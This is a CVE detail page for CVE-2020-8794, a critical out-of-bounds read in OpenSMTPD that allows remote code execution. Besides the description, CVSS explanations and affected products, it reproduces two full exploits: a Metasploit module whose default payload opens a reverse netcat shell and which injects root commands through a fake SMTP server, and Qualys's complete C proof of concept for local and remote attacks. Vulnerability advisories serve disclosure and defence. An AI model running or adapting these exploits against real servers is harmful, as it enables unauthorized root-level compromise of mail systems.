CVE-2020-8794 : Detail

CVE-2020-8794

9.8
/
Critical
Overflow
88.8%V3
Network
2020-02-25
15h38 +00:00
2021-05-04
15h06 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

OpenSMTPD before 6.6.4 allows remote code execution because of an out-of-bounds read in mta_io in mta_session.c for multi-line replies. Although this vulnerability affects the client side of OpenSMTPD, it is possible to attack a server because the server code launches the client code during bounce handling.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-125 Out-of-bounds Read
The product reads data past the end, or before the beginning, of the intended buffer.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 48185

Publication date : 2020-03-08
23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local # smtpd(8) may crash on a malformed message Rank = AverageRanking include Msf::Exploit::Remote::TcpServer include Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Expect def initialize(info = {}) super(update_info(info, 'Name' => 'OpenSMTPD OOB Read Local Privilege Escalation', 'Description' => %q{ This module exploits an out-of-bounds read of an attacker-controlled string in OpenSMTPD's MTA implementation to execute a command as the root or nobody user, depending on the kind of grammar OpenSMTPD uses. }, 'Author' => [ 'Qualys', # Discovery and PoC 'wvu' # Module ], 'References' => [ ['CVE', '2020-8794'], ['URL', 'https://seclists.org/oss-sec/2020/q1/96'] ], 'DisclosureDate' => '2020-02-24', 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => true, # NOTE: Only when exploiting new grammar # Patched in 6.6.4: https://www.opensmtpd.org/security.html # New grammar introduced in 6.4.0: https://github.com/openbsd/src/commit/e396a728fd79383b972631720cddc8e987806546 'Targets' => [ ['OpenSMTPD < 6.6.4 (automatic grammar selection)', patched_version: Gem::Version.new('6.6.4'), new_grammar_version: Gem::Version.new('6.4.0') ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'SRVPORT' => 25, 'PAYLOAD' => 'cmd/unix/reverse_netcat', 'WfsDelay' => 60 # May take a little while for mail to process }, 'Notes' => { 'Stability' => [CRASH_SERVICE_DOWN], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } )) register_advanced_options([ OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5]) ]) # HACK: We need to run check in order to determine a grammar to use options.remove_option('AutoCheck') end def srvhost_addr Rex::Socket.source_address(session.session_host) end def rcpt_to "#{rand_text_alpha_lower(8..42)}@[#{srvhost_addr}]" end def check smtpd_help = cmd_exec('smtpd -h') if smtpd_help.empty? return CheckCode::Unknown('smtpd(8) help could not be displayed') end version = smtpd_help.scan(/^version: OpenSMTPD ([\d.p]+)$/).flatten.first unless version return CheckCode::Unknown('OpenSMTPD version could not be found') end version = Gem::Version.new(version) if version < target[:patched_version] if version >= target[:new_grammar_version] vprint_status("OpenSMTPD #{version} is using new grammar") @grammar = :new else vprint_status("OpenSMTPD #{version} is using old grammar") @grammar = :old end return CheckCode::Appears( "OpenSMTPD #{version} appears vulnerable to CVE-2020-8794" ) end CheckCode::Safe("OpenSMTPD #{version} is NOT vulnerable to CVE-2020-8794") end def exploit # NOTE: Automatic check is implemented by the AutoCheck mixin super start_service sendmail = "/usr/sbin/sendmail '#{rcpt_to}' < /dev/null && echo true" print_status("Executing local sendmail(8) command: #{sendmail}") if cmd_exec(sendmail) != 'true' fail_with(Failure::Unknown, 'Could not send mail. Is OpenSMTPD running?') end end def on_client_connect(client) print_status("Client #{client.peerhost}:#{client.peerport} connected") # Brilliant work, Qualys! case @grammar when :new print_status('Exploiting new OpenSMTPD grammar for a root shell') yeet = <<~EOF 553- 553 dispatcher: local_mail type: mda mda-user: root mda-exec: #{payload.encoded}; exit 0\x00 EOF when :old print_status('Exploiting old OpenSMTPD grammar for a nobody shell') yeet = <<~EOF 553- 553 type: mda mda-method: mda mda-usertable: <getpwnam> mda-user: nobody mda-buffer: #{payload.encoded}; exit 0\x00 EOF else fail_with(Failure::BadConfig, 'Could not determine OpenSMTPD grammar') end sploit = { '220' => /EHLO /, '250' => /MAIL FROM:<[^>]/, yeet => nil } print_status('Faking SMTP server and sending exploit') sploit.each do |line, pattern| send_expect( line, pattern, sock: client, newline: "\r\n", timeout: datastore['ExpectTimeout'] ) end rescue Timeout::Error => e fail_with(Failure::TimeoutExpired, e.message) ensure print_status("Disconnecting client #{client.peerhost}:#{client.peerport}") client.close end def on_client_close(client) print_status("Client #{client.peerhost}:#{client.peerport} disconnected") end end
Exploit Database EDB-ID : 48140

Publication date : 2020-02-25
23h00 +00:00
Author : Qualys Corporation
EDB Verified : No

/* * LPE and RCE in OpenSMTPD's default install (CVE-2020-8794) * Copyright (C) 2020 Qualys, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/tcp.h> #include <netdb.h> #include <stdarg.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <unistd.h> static enum { CLIENT_SIDE_EXPLOIT, SERVER_SIDE_EXPLOIT, } exploit = CLIENT_SIDE_EXPLOIT; static enum { NEW_SMTPD_GRAMMAR, OLD_SMTPD_GRAMMAR, } grammar = NEW_SMTPD_GRAMMAR; static struct { const char * command; const char * user; const char * dispatcher; const char * maildir; char lines[512]; } inject = { .command = "X=`mktemp /tmp/x.XXXXXX`&&id>>$X;exit 0", .user = "root", .dispatcher = "local_mail", .maildir = NULL, }; #define die() do { \ printf("died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) static struct addrinfo * common_getaddrinfo(const char * const host, const char * const port) { const struct addrinfo hints = { .ai_family = AF_INET, .ai_socktype = SOCK_STREAM, .ai_protocol = IPPROTO_TCP, .ai_flags = AI_NUMERICHOST | AI_NUMERICSERV, }; struct addrinfo * addr = NULL; if (getaddrinfo(host, port, &hints, &addr) != 0) die(); if (addr == NULL || addr->ai_next != NULL) die(); return addr; } static const char * common_getnameinfo(const struct sockaddr * const addr, const socklen_t addr_len) { static char host[NI_MAXHOST]; static char port[NI_MAXSERV]; if (getnameinfo(addr, addr_len, host, sizeof(host), port, sizeof(port), NI_NUMERICHOST | NI_NUMERICSERV) != 0) die(); static char host_port[NI_MAXHOST + NI_MAXSERV]; if (snprintf(host_port, sizeof(host_port), "%s:%s", host, port) <= 0) die(); return host_port; } static void common_send(const int fd, const char * const format, va_list ap) { if (fd <= -1) die(); static char buf[1024]; const int len = vsnprintf(buf, sizeof(buf), format, ap); if (len <= 0 || (unsigned)len >= sizeof(buf)) die(); printf("--> %s%s", buf, buf[len-1] != '\n' ? "\n" : ""); const char * data = buf; size_t size = len; for (;;) { const ssize_t sent = send(fd, data, size, MSG_NOSIGNAL); if (sent <= 0) die(); if ((size_t)sent > size) die(); data += sent; size -= sent; if (size <= 0) return; } die(); } static int listen_fd = -1; static void server_listen(void) { if (listen_fd != -1) die(); const struct addrinfo * const addr = common_getaddrinfo("0.0.0.0", "25"); listen_fd = socket(addr->ai_family, addr->ai_socktype, addr->ai_protocol); if (listen_fd <= -1) die(); const int on = 1; if (setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) != 0) die(); if (bind(listen_fd, addr->ai_addr, addr->ai_addrlen) != 0) die(); if (listen(listen_fd, 10) != 0) die(); printf("\nListening on %s\n", common_getnameinfo(addr->ai_addr, addr->ai_addrlen)); } static int server_fd = -1; static void server_accept(void) { struct sockaddr addr; socklen_t addr_len = sizeof(addr); if (listen_fd <= -1) die(); if (server_fd != -1) die(); server_fd = accept(listen_fd, &addr, &addr_len); if (server_fd <= -1) die(); if (addr_len > sizeof(addr)) die(); const time_t now = time(NULL); printf("\nConnection from %s\n%s", common_getnameinfo(&addr, addr_len), ctime(&now)); const int on = 1; if (setsockopt(server_fd, IPPROTO_TCP, TCP_NODELAY, &on, sizeof(on)) != 0) die(); } static void server_send(const char * const format, ...) { if (server_fd <= -1) die(); va_list ap; va_start(ap, format); common_send(server_fd, format, ap); va_end(ap); } static char server_command[1024]; static void server_recv(const char * const prefix) { if (server_fd <= -1) die(); const size_t prefix_len = strlen(prefix); if (prefix_len < 4) die(); char * data = server_command; size_t size = sizeof(server_command); for (;;) { const ssize_t rcvd = recv(server_fd, data, size, 0); if (rcvd <= 0) die(); if ((size_t)rcvd >= size) die(); data += rcvd; size -= rcvd; data[0] = '\0'; if (data[-1] != '\n') continue; if (strchr(server_command, '\n') != data - 1) die(); printf("<-- %s", server_command); if (strncmp(server_command, prefix, prefix_len) != 0) die(); return; } die(); } static void server_close(void) { if (server_fd <= -1) die(); if (close(server_fd) != 0) die(); server_fd = -1; } static void server_session(const char * const inject_lines) { const char * const error_code = (exploit == SERVER_SIDE_EXPLOIT) ? "421" : "553"; server_accept(); server_send("220 ent.of.line ESMTP\n"); server_recv("EHLO "); server_send("250 ent.of.line Hello\n"); server_recv("MAIL FROM:<"); if ((strncmp(server_command, "MAIL FROM:<>", 12) == 0) != (exploit == SERVER_SIDE_EXPLOIT)) die(); if (inject_lines != NULL) { if (inject_lines[0] == '\0') die(); if (inject_lines[0] == '\n') die(); if (inject_lines[strlen(inject_lines)-1] == '\n') die(); server_send("%s-Error\n", error_code); server_send("%s\n\n%s%c", error_code, inject_lines, (int)'\0'); } else { server_send("%s Error\n", error_code); server_recv("RSET"); server_send("250 Reset\n"); server_recv("QUIT"); server_send("221 Bye\n"); } server_close(); } static const struct addrinfo * client_target = NULL; static const char * client_mail = NULL; static const char * client_rcpt = NULL; static int client_fd = -1; static void client_connect(void) { if (client_fd != -1) die(); client_fd = socket(client_target->ai_family, client_target->ai_socktype, client_target->ai_protocol); if (client_fd <= -1) die(); if (connect(client_fd, client_target->ai_addr, client_target->ai_addrlen) != 0) die(); printf("\nConnected to %s\n", common_getnameinfo(client_target->ai_addr, client_target->ai_addrlen)); } static void client_send(const char * const format, ...) { if (client_fd <= -1) die(); va_list ap; va_start(ap, format); common_send(client_fd, format, ap); va_end(ap); } static char client_reply[1024]; static void client_recv(const char * const prefix) { if (client_fd <= -1) die(); const size_t prefix_len = strlen(prefix); if (prefix_len < 3) die(); char * data = client_reply; size_t size = sizeof(client_reply); const char * line = data; for (;;) { const ssize_t rcvd = recv(client_fd, data, size, 0); if (rcvd <= 0) die(); if ((size_t)rcvd >= size) die(); data += rcvd; size -= rcvd; data[0] = '\0'; if (data[-1] != '\n') continue; for (;;) { const char * const new_line = strchr(line, '\n'); if (new_line == NULL) break; if (new_line - line < 4) die(); printf("<-- %.*s", (int)(new_line - line + 1), line); if (strncmp(line, prefix, prefix_len) != 0) die(); if (line[3] == ' ') { if (new_line + 1 != data) die(); return; } if (line[3] != '-') die(); line = new_line + 1; } if (line != data) die(); } die(); } static void client_close(void) { if (client_fd <= -1) die(); if (close(client_fd) != 0) die(); client_fd = -1; } static void client_session(void) { client_connect(); client_recv("220 "); client_send("HELP\n"); client_recv("214"); if (strstr(client_reply, "please contact [email protected]") == NULL) die(); client_send("EHLO ent.of.line\n"); client_recv("250"); const int dsn = (strstr(client_reply, "250-DSN") != NULL); client_send("MAIL FROM:<%s>\n", client_mail); client_recv("250 "); client_send("RCPT TO:<%s>%s\n", client_rcpt, dsn ? " NOTIFY=SUCCESS" : ""); client_recv("250 "); client_send("DATA\n"); client_recv("354 Enter mail, end with "); if (!dsn) { client_send("Delivered-To: %s\n", client_rcpt); } client_send("\n"); client_send(".\n"); client_recv("250 "); client_send("QUIT\n"); client_recv("221 "); client_close(); } int main(int argc, char * const * argv) { setlinebuf(stdout); puts("LPE and RCE in OpenSMTPD's default install (CVE-2020-8794)"); puts("Copyright (C) 2020 Qualys, Inc."); int opt; while ((opt = getopt(argc, argv, "c:u:d:m:n")) != -1) { switch (opt) { case 'c': inject.command = optarg; break; case 'u': grammar = OLD_SMTPD_GRAMMAR; inject.user = optarg; break; case 'd': inject.dispatcher = optarg; break; case 'm': grammar = OLD_SMTPD_GRAMMAR; inject.maildir = optarg; break; case 'n': grammar = NEW_SMTPD_GRAMMAR; break; default: die(); } } if (grammar == NEW_SMTPD_GRAMMAR) { const int len = snprintf(inject.lines, sizeof(inject.lines), "type:mda\nmda-exec:%s\ndispatcher:%s\nmda-user:%s", inject.command, inject.dispatcher, inject.user); if (len <= 0 || (unsigned)len >= sizeof(inject.lines)) die(); } else if (grammar == OLD_SMTPD_GRAMMAR) { const int len = snprintf(inject.lines, sizeof(inject.lines), "type:mda\nmda-buffer:%s\nmda-method:%s\nmda-user:%s\nmda-usertable:<getpwnam>", inject.maildir ? inject.maildir : inject.command, inject.maildir ? "maildir" : "mda", inject.user); if (len <= 0 || (unsigned)len >= sizeof(inject.lines)) die(); } else die(); argc -= optind; argv += optind; if (argc == 3) { exploit = SERVER_SIDE_EXPLOIT; client_target = common_getaddrinfo(argv[0], "25"); client_mail = argv[1]; client_rcpt = argv[2]; } else if (argc != 0) die(); server_listen(); if (exploit == CLIENT_SIDE_EXPLOIT) { server_session(inject.lines); } else if (exploit == SERVER_SIDE_EXPLOIT) { client_session(); unsigned try; for (try = 0; try < 1; try++) { server_session(NULL); puts("\nPlease wait for OpenSMTPD to connect back..."); } server_session(inject.lines); client_session(); server_session("type:invalid"); } else die(); exit(EXIT_SUCCESS); }

Products Mentioned

Configuraton 0

Opensmtpd>>Opensmtpd >> Version To (excluding) 6.6.4

Configuraton 0

Canonical>>Ubuntu_linux >> Version 18.04

Canonical>>Ubuntu_linux >> Version 19.10

Configuraton 0

Fedoraproject>>Fedora >> Version 31

Fedoraproject>>Fedora >> Version 32

Configuraton 0

Debian>>Debian_linux >> Version 9.0

Debian>>Debian_linux >> Version 10.0

References

http://www.openwall.com/lists/oss-security/2020/02/26/1
Tags : mailing-list, x_refsource_MLIST
https://www.debian.org/security/2020/dsa-4634
Tags : vendor-advisory, x_refsource_DEBIAN
http://seclists.org/fulldisclosure/2020/Feb/32
Tags : mailing-list, x_refsource_FULLDISC
http://www.openwall.com/lists/oss-security/2020/03/01/1
Tags : mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2020/03/01/2
Tags : mailing-list, x_refsource_MLIST
https://usn.ubuntu.com/4294-1/
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.openwall.com/lists/oss-security/2021/05/04/7
Tags : mailing-list, x_refsource_MLIST